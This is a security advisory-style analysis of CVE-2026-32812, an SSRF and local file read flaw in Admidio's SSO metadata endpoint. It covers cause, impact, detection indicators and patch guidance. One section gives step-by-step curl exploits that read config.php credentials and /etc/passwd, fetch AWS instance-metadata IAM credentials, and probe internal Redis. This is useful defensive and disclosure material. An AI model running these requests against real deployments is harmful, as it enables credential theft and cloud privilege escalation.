CVE-2026-32812: 
PHP vulnerability analysis and mitigation

CVE-2026-32812 is an SSRF and Local File Read vulnerability in Admidio's SSO Metadata API endpoint (modules/sso/fetch_metadata.php). Affecting versions 5.0.0 through 5.0.6, the flaw allows an authenticated administrator to supply arbitrary URLs — including file://, http://, ftp://, data://, and php:// schemes — which are passed directly to file_get_contents() after only a superficial format check. The vulnerability was published on March 20, 2026, and patched in version 5.0.7 released March 15, 2026. It carries a CVSS v3.1 base score of 6.8 (Medium) (GitHub Advisory, Feedly).

The root cause is improper input validation (CWE-918: Server-Side Request Forgery) in modules/sso/fetch_metadata.php, where the url GET parameter is validated only with PHP's FILTER_VALIDATE_URL — a format validator that accepts any syntactically valid URL regardless of scheme or destination. The validated URL is then passed directly to file_get_contents(), which natively handles file:// (local filesystem reads), http:// (SSRF to internal services), and other dangerous schemes. Critically, the file:// wrapper does not require allow_url_fopen to be enabled, making the local file read vector universally exploitable. The full response body is returned verbatim to the caller via echo $metadata (GitHub Advisory, Patch Commit).

An authenticated administrator can read any local file accessible to the PHP web server process — including Admidio's config.php (exposing database credentials in plaintext), /etc/passwd, private keys, and .env files. Via SSRF, the attacker can probe internal services such as Redis, Elasticsearch, or internal admin panels not exposed externally, and on cloud-hosted deployments (AWS, GCP, Azure) can retrieve instance metadata including IAM role credentials, enabling potential cloud-level privilege escalation. The scope change (S:C in CVSS) reflects that impact escapes the Admidio application boundary to affect the underlying server filesystem and internal network (GitHub Advisory).

A proof-of-concept exploit consisting of step-by-step curl commands is publicly available in the GitHub Security Advisory, demonstrating local file reads, SSRF, and cloud metadata exfiltration against a real Admidio deployment (GitHub Advisory). Exploitation requires an authenticated administrator session cookie and CSRF token, limiting the attack surface to privileged accounts. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.025% (0.000250), indicating low current exploitation probability (Feedly).

1. Obtain administrator credentials: Acquire a valid Admidio administrator session cookie (ADMIDIO_SESSION_ID) and CSRF token through legitimate login or credential theft.
2. Identify the vulnerable endpoint: Confirm the target is running Admidio 5.0.0–5.0.6 and that the SSO module is accessible at https://TARGET/adm_program/modules/sso/fetch_metadata.php.
3. Local File Read — read database config: Send a crafted GET request using the file:// scheme to retrieve the Admidio database configuration:

   curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
     -H "Cookie: ADMIDIO_SESSION_ID=<session>" \
     --data-urlencode "url=file:///var/www/html/adm_my_files/config.php"

   The full contents of config.php, including database host, username, and password, are returned.
4. Local File Read — read system files: Retrieve /etc/passwd or other sensitive files:

   curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
     -H "Cookie: ADMIDIO_SESSION_ID=<session>" \
     --data-urlencode "url=file:///etc/passwd"

5. SSRF — cloud metadata exfiltration (if deployed on AWS): Fetch IAM credentials from the EC2 instance metadata service:

   curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
     -H "Cookie: ADMIDIO_SESSION_ID=<session>" \
     --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

6. SSRF — internal network reconnaissance: Probe internal services not exposed externally:

   curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
     -H "Cookie: ADMIDIO_SESSION_ID=<session>" \
     --data-urlencode "url=http://127.0.0.1:6379/"

   (GitHub Advisory)

• Network: Outbound HTTP requests from the Admidio web server to internal IP ranges (127.0.0.1, 169.254.169.254, 10.x.x.x, 172.16.x.x, 192.168.x.x); unexpected connections to cloud metadata endpoints (169.254.169.254).
• Logs: Web server access logs showing GET requests to /adm_program/modules/sso/fetch_metadata.php with url parameters containing file://, http://127, http://169.254, ftp://, data://, or php:// schemes; repeated requests to this endpoint from a single authenticated session.
• File System: No direct file system artifacts from exploitation itself, but successful reads of config.php may be followed by unauthorized database access attempts using exposed credentials.
• Application Logs: PHP error logs showing file_get_contents() calls with unusual schemes or paths; responses containing contents of local system files returned to the client. (GitHub Advisory)

Upgrade Admidio to version 5.0.7 or later, which restricts the fetch_metadata.php endpoint to HTTPS-only URLs, blocks private/reserved IP ranges via hostname resolution checks, and replaces file_get_contents() with cURL configured to allow only the CURLPROTO_HTTPS protocol with redirect following disabled (Admidio Release, Patch Commit). As interim mitigations, implement network-level egress filtering to block outbound connections from the web server to internal IP ranges and cloud metadata endpoints, and apply the principle of least privilege by minimizing the number of administrator accounts. DNS rebinding protections should also be considered as defense-in-depth.